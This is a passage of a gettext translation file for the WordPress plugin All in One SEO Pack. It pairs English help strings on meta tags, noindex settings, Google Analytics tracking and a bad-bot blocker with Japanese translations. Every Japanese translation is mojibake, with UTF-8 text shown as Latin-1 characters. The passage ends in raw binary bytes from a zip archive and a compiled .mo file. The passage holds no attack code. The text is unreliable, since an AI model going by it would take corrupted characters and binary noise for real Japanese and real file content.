"ã“ã“ã§å…¥åŠ›ã™ã‚‹ã¨ã€ã™ã¹ã¦ã®æŠ•稿ã®ãƒ˜ãƒƒãƒ€ã«ãã®ã¾ã¾ã‚³ãƒ”ーã•れã¾ã™ã€‚スタイルシートã®å‚ç…§ã•ãˆã€ã‚ãªãŸãŒãƒ˜ãƒƒãƒ€ãƒ¼ã«è¿½åŠ ã—ãŸã„ã‚‚ã®ã‚’入力ã§ãã¾ã™ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/class-aioseop-helper.php:417 msgid "Enter a comma separated list of pages here to be excluded by %s. This is helpful when using plugins which generate their own non-WordPress dynamic pages. Ex: /forum/, /contact/
For instance, if you want to exclude the virtual pages generated by a forum plugin, all you have to do is add \"forum\" or \"/forum\" or \"/forum/\" or any URL with the word \"forum\" in it here, such as \"http://mysite.com/forum\" or \"http://mysite.com/forum/someforumpage\", and it will be excluded." msgstr "%s ã‹ã‚‰é™¤å¤–ã™ã‚‹ãƒšãƒ¼ã‚¸ã®ãƒªã‚¹ãƒˆã‚’ã“ã“ã«ã‚«ãƒ³ãƒžã§åŒºåˆ‡ã£ã¦å…¥åŠ›ã—ã¦ãã ã•ã„。ã“れã¯ã€WordPress ã§ç®¡ç†ã—ã¦ã„ãªã„動的ページを使ã†ãƒ—ラグインãªã©ã‚’利用ã™ã‚‹éš›ã«å½¹ã«ç«‹ã¡ã¾ã™ã€‚例:\"/forum/\", \"/contact/\"
ãŸã¨ãˆã°ã€ãƒ•ォーラムプラグインã«ã‚ˆã£ã¦ç”Ÿæˆã•れãŸä»®æƒ³ãƒšãƒ¼ã‚¸ã‚’除外ã—ãŸã„å ´åˆã€ \"forum\" ã‚„ \"/forum\" ã‚„ \"/forum/\" を追加ã™ã‚‹ã ã‘ã§ã™ã€‚ã¾ãŸã€ \"http://mysite.com/forum\" ã‚„ \"http://mysite.com/forum/someforumpage\" ã¿ãŸã„㪠URL ã§ã‚‚ã€å¯¾å¿œã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:414 msgid "Check this to unprotect internal postmeta fields for use with XMLRPC. If you don't know what that is, leave it unchecked." msgstr "XMLRPCを使用ã™ã‚‹ãŸã‚ã«å†…部ãƒã‚¹ãƒˆãƒ¡ã‚¿ãƒ•ィールドã®ä¿è­·ã‚’解除ã™ã‚‹ã«ã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。ã“れãŒä½•ã§ã‚ã‚‹ã‹ã‚ã‹ã‚‰ãªã„å ´åˆã€ã‚ªãƒ•ã®ã¾ã¾ã«ã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:122 msgid "Check this to support Schema.org markup, i.e., itemprop on supported metadata." msgstr "Schema.org markup をサãƒãƒ¼ãƒˆã™ã‚‹å ´åˆã¯ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。ã™ãªã‚ã¡ã€ itemprop ã®ã‚µãƒãƒ¼ãƒˆã•れã¦ã„るメタデータ。" #: admin/class-aioseop-helper.php:413 msgid "Check this to prevent your Description from being truncated regardless of its length." msgstr "説明ã®é•·ã•ã«ã‹ã‹ã‚らãšã€èª¬æ˜Žæ–‡ã‚’切りæ¨ã¦ã‚‰ã‚Œã‚‹ã®ã‚’防ãå ´åˆã¯ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:412 msgid "Check this and your Meta Descriptions will be removed from page 2 or later of paginated content." msgstr "ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ã€2ページã‹ã‚‰ä»¥é™ã®ãƒšãƒ¼ã‚¸ã®ãƒ¡ã‚¿è¨˜è¿°ã‚’削除ã•れã¾ã™ã€‚" #: admin/class-aioseop-helper.php:411 msgid "Check this and shortcodes will get executed for descriptions auto-generated from content." msgstr "ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ã€ã‚·ãƒ§ãƒ¼ãƒˆã‚³ãƒ¼ãƒ‰ã¯ã€èª¬æ˜Žã®è‡ªå‹•生æˆã•れãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã‹ã‚‰å®Ÿè¡Œã•れã¾ã™ã€‚" #: admin/class-aioseop-helper.php:405 msgid "Check this to ask search engines not to follow links from paginated pages/posts. Useful for avoiding duplicate content." msgstr "ページãƒã‚¤ã‚·ãƒ§ãƒ³ã®ãƒšãƒ¼ã‚¸ã® follow リンクをアーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚" #: admin/class-aioseop-helper.php:404 msgid "Check this to ask search engines not to index paginated pages/posts. Useful for avoiding duplicate content." msgstr "ページãƒã‚¤ã‚·ãƒ§ãƒ³ã®ãƒšãƒ¼ã‚¸ã‚’インデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚" #: admin/class-aioseop-helper.php:406 msgid "Check this to ask search engines not to index custom Taxonomy archive pages. Useful for avoiding duplicate content." msgstr "カスタムタクソノミーアーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚" #: admin/class-aioseop-helper.php:403 msgid "Check this to ask search engines not to index the 404 page." msgstr "検索エンジン対㗠404 ページをインデックスã—ãªã„ã‚ˆã†æ”¯æŒã—ãŸã„å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã‚’入れã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:402 msgid "Check this to ask search engines not to index the Search page. Useful for avoiding duplicate content." msgstr "検索ページをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚" #: admin/class-aioseop-helper.php:401 msgid "Check this to ask search engines not to index Tag Archives. Useful for avoiding duplicate content." msgstr "タグアーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚" #: admin/class-aioseop-helper.php:400 msgid "Check this to ask search engines not to index Author Archives. Useful for avoiding duplicate content." msgstr "投稿者アーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚" #: admin/class-aioseop-helper.php:399 msgid "Check this to ask search engines not to index Date Archives. Useful for avoiding duplicate content." msgstr "日付アーカイブページインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹å ´åˆã¯ãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚" #: admin/class-aioseop-helper.php:398 msgid "Check this to ask search engines not to index Category Archives. Useful for avoiding duplicate content." msgstr "カテゴリーアーカイブをインデックスã—ãªã„よã†ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«ä¾é ¼ã™ã‚‹ã«ã¯ã€ã“れを確èªã—ã¦ãã ã•ã„。é‡è¤‡ã—ãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„を回é¿ã™ã‚‹ã®ã«ä¾¿åˆ©ã§ã™ã€‚" #: admin/class-aioseop-helper.php:397 msgid "Set the default NOFOLLOW setting for each Post Type." msgstr "å„æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã®ãƒ‡ãƒ•ォルト NOFOLLOW ã®è¨­å®šã‚’ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:396 msgid "Set the default NOINDEX setting for each Post Type." msgstr "å„æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã®ãƒ‡ãƒ•ォルト NOINDEX ã®è¨­å®šã‚’ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:393 msgid "This enables support for the Enhanced Ecommerce in Google Analytics." msgstr "Google Analytics ã®æ‹¡å¼µeコマースã®ã‚µãƒãƒ¼ãƒˆã‚’å¯èƒ½ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:392 msgid "This enables support for the Enhanced Link Attribution in Google Analytics." msgstr "Google Analytics ã®æ‹¡å¼µãƒªãƒ³ã‚¯ã®ã‚¢ãƒˆãƒªãƒ“ューションã®ã‚µãƒãƒ¼ãƒˆã‚’有効ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:391 msgid "Check this if you want to track outbound links with Google Analytics." msgstr "Google Analytics ã¨ã®ã‚¢ã‚¦ãƒˆãƒã‚¦ãƒ³ãƒ‰ãƒªãƒ³ã‚¯ã‚’追跡ã—ãŸã„å ´åˆã¯ã€ã“れを確èªã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:390 msgid "Exclude logged-in users from Google Analytics tracking by role." msgstr "権é™ã«ã‚ˆã£ã¦ã€Google Analytics トラッキングã‹ã‚‰ãƒ­ã‚°ã‚¤ãƒ³ãƒ¦ãƒ¼ã‚¶ã‚’除外ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:389 msgid "This enables support for the Display Advertiser Features in Google Analytics." msgstr "Google Analytics ã®ãƒ‡ã‚£ã‚¹ãƒ—レイ広告主å‘ã‘ã®æ©Ÿèƒ½ã®ã‚µãƒãƒ¼ãƒˆã‚’有効ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:388 msgid "This enables support for IP Anonymization in Google Analytics." msgstr "Google Analytics ã® IP 匿å化ã®ãŸã‚ã®ã‚µãƒãƒ¼ãƒˆã‚’å¯èƒ½ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:387 msgid "Add a list of additional domains to track here. Enter one domain name per line without the http://." msgstr "追跡ã™ã‚‹ãŸã‚ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ãƒªã‚¹ãƒˆã‚’追加ã—ã¾ã™ã€‚ http:// ãªã—ã§1行ã«1ã¤ã®ãƒ‰ãƒ¡ã‚¤ãƒ³åを入力ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:386 msgid "Use this option to enable tracking of multiple or additional domains." msgstr "複数ã¾ãŸã¯è¿½åŠ ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’è¿½è·¡ã™ã‚‹ã«ã¯ã“ã®ã‚ªãƒ—ションを有効ã«ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:385 msgid "Enter your domain name without the http:// to set your cookie domain." msgstr "ドメインをクッキーã«è¨­å®šã™ã‚‹ã«ã¯ã€ http:// ãªã—ã§è‡ªåˆ†ã®ãƒ‰ãƒ¡ã‚¤ãƒ³åを入力ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:384 msgid "Check to use advanced Google Analytics options." msgstr "高度㪠Google Analytics ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:383 msgid "Enter your Google Analytics ID here to track visitor behavior on your site using Google Analytics." msgstr "Google Analytics を使用ã—ã¦ã€ã‚µã‚¤ãƒˆã§ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®è¡Œå‹•を追跡ã™ã‚‹ãŸã‚ã«ã“ã“ã«ã‚ãªãŸã® Google Analytics ã®IDを入力ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:430 msgid "Press the connect button to connect with Google Analytics; or if already connected, press the disconnect button to disable and remove any stored analytics credentials." msgstr "Google Analytics ã¨æŽ¥ç¶šã™ã‚‹ãŸã‚ã®æŽ¥ç¶šãƒœã‚¿ãƒ³ã‚’æŠ¼ã—ã¦ãã ã•ã„。ã¾ãŸã¯ã™ã§ã«æŽ¥ç¶šã•れã¦ã„ã‚‹å ´åˆã€ä»»æ„ã®ä¿å­˜ã•れãŸåˆ†æžã®è³‡æ ¼æƒ…報を無効ã«ã—ã¦å‰Šé™¤ã™ã‚‹ã«ã¯åˆ‡æ–­ãƒœã‚¿ãƒ³ã‚’押ã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:382 msgid "Add markup to display the Google Sitelinks Search Box next to your search results in Google." msgstr "Google ã§ã®æ¤œç´¢çµæžœã®æ¨ªã« Google ã®ã‚µã‚¤ãƒˆãƒªãƒ³ã‚¯æ¤œç´¢ãƒœãƒƒã‚¯ã‚¹ã‚’表示ã™ã‚‹ãŸã‚ã®ãƒžãƒ¼ã‚¯ã‚¢ãƒƒãƒ—を追加ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:372 msgid "This lets you select which screens display the SEO Title, SEO Keywords and SEO Description columns." msgstr "SEO タイトルã€SEO キーワード〠SEO ディスクリプションã®å„カラムをã€ã©ã®ç”»é¢ã§è¡¨ç¤ºã™ã‚‹ã‹é¸æŠžã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:135 admin/class-aioseop-helper.php:168 #: admin/class-aioseop-helper.php:200 admin/class-aioseop-helper.php:234 #: admin/class-aioseop-helper.php:250 admin/class-aioseop-helper.php:265 #: admin/class-aioseop-helper.php:282 admin/class-aioseop-helper.php:293 #: admin/class-aioseop-helper.php:304 admin/class-aioseop-helper.php:345 #: admin/class-aioseop-helper.php:360 admin/class-aioseop-helper.php:475 #: inc/commonstrings.php:48 msgid "The following macros are supported:" msgstr "以下ã®ãƒžã‚¯ãƒ­ãŒã‚µãƒãƒ¼ãƒˆã•れã¦ã„ã¾ã™ã€‚:" #: admin/class-aioseop-helper.php:359 msgid "This string gets appended/prepended to titles of paged index pages (like home or archive pages)." msgstr "ã“ã®æ–‡å­—列ã¯ã€ãƒšãƒ¼ã‚¸ã•れãŸã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ãƒšãƒ¼ã‚¸ã®ã‚¿ã‚¤ãƒˆãƒ«ï¼ˆãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã‚„アーカイブページãªã©ï¼‰ã«è¿½åŠ  / å‰ç½®ã•れã¾ã™ã€‚" #: admin/class-aioseop-helper.php:314 msgid "This controls the format of Meta Descriptions. The following macros are supported:" msgstr "ã“れ㯠Meta Descriptions ã®ãƒ•ォーマットを制御ã—ã¾ã™ã€‚以下ã®ãƒžã‚¯ãƒ­ãŒã‚µãƒãƒ¼ãƒˆã•れã¦ã„ã¾ã™:" #: admin/class-aioseop-helper.php:427 msgid "Check this if you want your keywords on your Posts page (set in WordPress under Settings, Reading, Front Page Displays) and your archive pages to be dynamically generated from the keywords of the posts showing on that page. If unchecked, it will use the keywords set in the edit page screen for the posts page." msgstr "投稿ページã«ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’ã—ãŸã„å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¾ã™ï¼ˆ[設定]ã®ä¸‹ã®ãƒ¯ãƒ¼ãƒ‰ãƒ—レスã§è¨­å®šã—ã€èª­æ›¸ã¯ã€ãƒ•ロントページã®è¡¨ç¤ºï¼‰ã‚„アーカイブページãŒå‹•çš„ã«ãã®ãƒšãƒ¼ã‚¸ã«è¡¨ç¤ºæŠ•稿ã®ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‹ã‚‰ç”Ÿæˆã•れã¾ã™ã€‚ãƒã‚§ãƒƒã‚¯ã—ãªã„å ´åˆã¯ã€æŠ•稿ページã®ç·¨é›†ãƒšãƒ¼ã‚¸ç”»é¢ã§è¨­å®šã—ãŸã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’使用ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:426 msgid "Check this if you want your tags for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen)." msgstr "(編集後ã®ç”»é¢ã§æŒ‡å®šã—ãŸã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã«åŠ ãˆã¦ï¼‰æŠ•稿ã®ãƒ¡ã‚¿ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã¨ã—ã¦ã‚¿ã‚°ã‚’使用ã—ãŸã„å ´åˆã¯ã€ã“れを確èªã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:425 msgid "Check this if you want your categories for a given post used as the Meta Keywords for this post (in addition to any keywords you specify on the Edit Post screen)." msgstr "(編集後ã®ç”»é¢ã§æŒ‡å®šã—ãŸã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã«åŠ ãˆã¦ï¼‰æŠ•稿ã®ãƒ¡ã‚¿ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã¨ã—ã¦ã‚«ãƒ†ã‚´ãƒªãƒ¼åを使用ã—ãŸã„å ´åˆã¯ã€ã“れを確èªã—ã¦ãã ã•ã„。" #: admin/class-aioseop-helper.php:424 msgid "This option allows you to toggle the use of Meta Keywords throughout the whole of the site." msgstr "ã“ã®ã‚ªãƒ—ションã§ã¯ã€ã‚µã‚¤ãƒˆã®å…¨ä½“を通ã˜ã¦ãƒ¡ã‚¿ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã®ä½¿ç”¨ã‚’切り替ãˆã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #: admin/class-aioseop-helper.php:130 msgid "Checking this option uses the title, description, and keywords set on your static Front Page." msgstr "ã“ã®ã‚ªãƒ—ションをãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€å›ºå®šãƒ•ロントページã®ã‚¿ã‚¤ãƒˆãƒ«ã€ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションã€ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ãŒä½¿ç”¨ã•れã¾ã™ã€‚" #: admin/class-aioseop-helper.php:129 msgid "Enter a comma separated list of your most important keywords for your site that will be written as Meta Keywords on your homepage. Do not stuff everything in here." msgstr "ホームページã«ãƒ¡ã‚¿ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã¨ã—ã¦æœ€ã‚‚é‡è¦ãªã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’コンマã§åŒºåˆ‡ã£ã¦å…¥åŠ›ã—ã¾ã™ã€‚ ã“ã“ã«å¤šãã‚’è©°ã‚è¾¼ã¾ãªã„ã§ãã ã•ã„。" #: admin/class-aioseop-helper.php:128 msgid "This will be the Meta Description for your homepage. This is independent of any other option. The default is no Meta Description at all if this is not set." msgstr "ホームページã®ãƒ¡ã‚¿ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションã«ãªã‚Šã¾ã™ã€‚ã“れã¯ä»–ã®è¨­å®šã«ã¯ä¾å­˜ã—ã¾ã›ã‚“。設定ã—ãªã„å ´åˆã€ãƒ‡ãƒ•ォルトã§ã¯ãƒ¡ã‚¿ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションãŒå®Œå…¨ã«ç©ºã«ãªã‚Šã¾ã™ã€‚" #: admin/class-aioseop-helper.php:127 msgid "As the name implies, this will be the Meta Title of your homepage. This is independent of any other option. If not set, the default Site Title (found in WordPress under Settings, General, Site Title) will be used." msgstr "åå‰ãŒç¤ºã™ã‚ˆã†ã«ã€ã“れã¯ã‚ãªãŸã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ãƒ¡ã‚¿ã‚¿ã‚¤ãƒˆãƒ«ã«ãªã‚Šã¾ã™ã€‚ã“れã¯ã€ä»–ã®ã‚ªãƒ—ションã¨ã¯ç„¡é–¢ä¿‚ã§ã™ã€‚設定ã•れã¦ã„ãªã„å ´åˆã¯ã€ï¼ˆ[設定]ã®ä¸‹ã® WordPress ã®ä¸€èˆ¬çš„ãªã‚µã‚¤ãƒˆã®ã‚¿ã‚¤ãƒˆãƒ«ï¼‰ãƒ‡ãƒ•ォルトã®ã‚µã‚¤ãƒˆã®ã‚¿ã‚¤ãƒˆãƒ«ãŒä½¿ç”¨ã•れã¾ã™ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/class-aioseop-helper.php:124 msgid "Check this and %s will create a log of important events (all-in-one-seo-pack.log) in its plugin directory which might help debugging. Make sure this directory is writable." msgstr "ã“れをクリックã™ã‚‹ã¨ %s ã¯ãƒ—ラグインディレクトリã«é‡è¦ãªã‚¤ãƒ™ãƒ³ãƒˆã®ãƒ­ã‚°(all-in-one-seo-pack.log) をデãƒãƒƒã‚°ã®ãŸã‚ã«ä½œã‚Šã¾ã™ã€‚ã“ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã¯æ›¸ãè¾¼ã¿å¯èƒ½ã«ã™ã‚‹å¿…è¦ãŒã‚りã¾ã™ã€‚" #: admin/class-aioseop-helper.php:121 msgid "Use wp_title to get the title used by the theme; this is disabled by default. If you use this option, set your title formats appropriately, as your theme might try to do its own title SEO as well." msgstr "テーマã§ä½¿ç”¨ã•れるタイトルをå–å¾—ã™ã‚‹ãŸã‚ã® wp_title を使用ã—ã¾ã™ã€‚ã“ã‚Œã¯æ¨™æº–ã§ã¯åˆ©ç”¨ã§ãã¾ã›ã‚“。ã“ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã¨ã€ã‚ãªãŸã®ãƒ†ãƒ¼ãƒžã¯åŒæ§˜ã«ç‹¬è‡ªã®ã‚¿ã‚¤ãƒˆãƒ«SEOã‚’ã—よã†å¯èƒ½æ€§ãŒã‚ã‚‹ãŸã‚ã€é©åˆ‡ã«ã‚ãªãŸã®ã‚¿ã‚¤ãƒˆãƒ«ã®æ›¸å¼ã‚’設定ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:120 msgid "Checking this option will set the Canonical URL for all paginated content to the first page." msgstr "ã“ã®ã‚ªãƒ—ションをãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€æœ€åˆã®ãƒšãƒ¼ã‚¸ã¸ã®ã™ã¹ã¦ã®ãƒšãƒ¼ã‚¸åˆ†å‰²ã•れãŸã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã® Canonical URL を設定ã—ã¾ã™ã€‚" #: aioseop_class.php:73 aioseop_class.php:628 #: modules/aioseop_importer_exporter.php:33 msgid "General Settings" msgstr "一般設定" #: aioseop_class.php:72 msgid "%s Plugin Options" msgstr "%s プラグイン設定" #: modules/aioseop_bad_robots.php:83 msgid "Blocked bot with IP %1$s -- matched referer %2$s found in blocklist." msgstr "IP %1$s ã®ãƒ–ロックã—ãŸãƒœãƒƒãƒˆ -- %2$s ã¯ãƒ–ロックリストã§è¦‹ã¤ã‹ã£ãŸãƒªãƒ•ァラã«ä¸€è‡´ã—ã¾ã—ãŸã€‚" #: modules/aioseop_bad_robots.php:77 msgid "Blocked bot with IP %1$s -- matched user agent %2$s found in blocklist." msgstr "IP %1$s ã®ãƒ–ロックã—ãŸãƒœãƒƒãƒˆ -- %2$s ã¯ãƒ–ロックリストã§è¦‹ã¤ã‹ã£ãŸãƒ¦ãƒ¼ã‚¶ã‚¨ãƒ¼ã‚¸ã‚§ãƒ³ãƒˆã«ä¸€è‡´ã—ã¾ã—ãŸã€‚" #: modules/aioseop_bad_robots.php:48 msgid "No requests yet." msgstr "ã¾ã ã€è¦æ±‚ã¯ã‚りã¾ã›ã‚“。" #: modules/aioseop_bad_robots.php:47 msgid "Log Of Blocked Bots" msgstr "ブロックã—ãŸãƒœãƒƒãƒˆã®ãƒ­ã‚°" #: modules/aioseop_bad_robots.php:36 msgid "Referer Blocklist" msgstr "リファラーブロックリスト" #: modules/aioseop_bad_robots.php:28 msgid "User Agent Blocklist" msgstr "ユーザーエージェントブロックリスト" #: modules/aioseop_bad_robots.php:25 msgid "Track Blocked Bots" msgstr "ブロックã•れãŸãƒœãƒƒãƒˆã‚’追跡" #: admin/class-aioseop-helper.php:995 msgid "Shows log of most recent requests from blocked bots. Note: this will not track any bots that were already blocked at the web server / .htaccess level." msgstr "ブロックã•れãŸãƒœãƒƒãƒˆã‹ã‚‰ã®æœ€æ–°ã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ãƒ­ã‚°ã‚’表示ã—ã¾ã™ã€‚ 注:ã“れã¯ã€Web サーãƒãƒ¼/ .htaccess ãƒ¬ãƒ™ãƒ«ã§æ—¢ã«ãƒ–ロックã•れãŸãƒœãƒƒãƒˆã‚’追跡ã—ã¾ã›ã‚“。" #: admin/class-aioseop-helper.php:994 msgid "This is the list of disallowed referers used for blocking bad bots." msgstr "ã“れã¯ä¸æ­£ãªãƒœãƒƒãƒˆã‚’ブロックã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã•れる許å¯ã•れã¦ã„ãªã„リファラーã®ãƒªã‚¹ãƒˆã§ã™ã€‚" #: admin/class-aioseop-helper.php:993 msgid "This is the list of disallowed user agents used for blocking bad bots." msgstr "ã“れã¯ã€ä¸æ­£ãªãƒœãƒƒãƒˆã‚’ブロックã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã•れるã€è¨±å¯ã•れã¦ã„ãªã„ユーザエージェントã®ãƒªã‚¹ãƒˆã§ã™ã€‚" #: admin/class-aioseop-helper.php:992 msgid "Check this to edit the list of disallowed user agents for blocking bad bots." msgstr "ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ã€ä¸æ­£ãªãƒœãƒƒãƒˆã‚’ブロックã™ã‚‹ãŸã‚ã«è¨±å¯ã•れã¦ã„ãªã„ユーザエージェントã®ãƒªã‚¹ãƒˆã‚’編集ã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:991 msgid "Log and show recent requests from blocked bots." msgstr "ブロックã—ã¦ã„るボットã‹ã‚‰ã®æœ€è¿‘ã®è¦æ±‚を表示ã—ログã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:989 msgid "Block requests from user agents that are known to misbehave with 503." msgstr "503 ã¨èª¤å‹•作ã™ã‚‹ã“ã¨ãŒçŸ¥ã‚‰ã‚Œã¦ã„るユーザエージェントã‹ã‚‰ã®ãƒ–ãƒ­ãƒƒã‚¯ã‚’è¦æ±‚。" #. translators: the Bad Bot Blocker module allows users to block requests from #. user agents that are known to misbehave. #: modules/aioseop_bad_robots.php:17 modules/aioseop_feature_manager.php:62 msgid "Bad Bot Blocker" msgstr "悪æ„ã‚るボットã®ãƒ–ロッカー"PKø®–[0扆ý‰ý‰all-in-one-seo-pack-ja.monu„[µü¤Þ•¼\1ÈAÉAJÐAtBB¡¥B8GC €CŽCà CDB•D ØDâDóDeEEkEC±E9õEk/F<›FdØF4=GErG¸G!¾GàG ûGH88HqH €HH–HœHf¥H IqId†I ëI\øICUJ™J´JÈJçJKK*KIKeK wK˜K¸K¾KÒKáKðKÿK#L'CL#kLL©LN¯LyþLyxMòMN N#N +N9NNONžN¦N ¶NÕÃN™O©O±O¸O ÕOâO#ýOP!PrP‚P™PžP¢P2Q&IQ&pQ—Q­QÇQæQERDLRG‘RÙR ÞRéRîRõRSS%S6+S,bS«SY;T•T`œUHýU<FVWƒV=ÛVYWZsWrÎWWAXE™XEßXS%YdyY¢ÞY7Zœ¹[IV\w \e]g~]cæ]bJ^s­^k!_;_eÉ_L/`P|`UÍ`N#ayra/ìa–b]³b\cInc¸cÉc|ÎcÂKd,e-;e,ie–e¨e·e¿eÐeáe ÷eJfcfvf ~fˆfŸf¸fÀfÓfïf3gx£€â€ó€ %'E m@z»/Ïÿ ‚ #‚1‚#A‚e‚„‚ ˜‚¥‚½‚Í‚ ç‚ó‚û‚ ƒ ƒƒƒ0ƒGƒ [ƒ|ƒ!ƒ ¡ƒ ­ƒ·ƒÕƒÞƒ ïƒúƒ „„Ä„!ã„…"…·+… ã…ï…ó… ö… ††A †b† q†™~†Ì‡*凈$ˆ5ˆFˆXˆtˆˆˆ ™ˆ¥ˆµˆºˆ Ɉ׈êˆ óˆ‰‰ $‰0‰B‰I‰a‰D~‰ É7щ] ŠgŠvŠ ~Š‰ŠŽŠ  ŠªŠ ½Š ÇŠ ÒŠÜŠ(⊧ 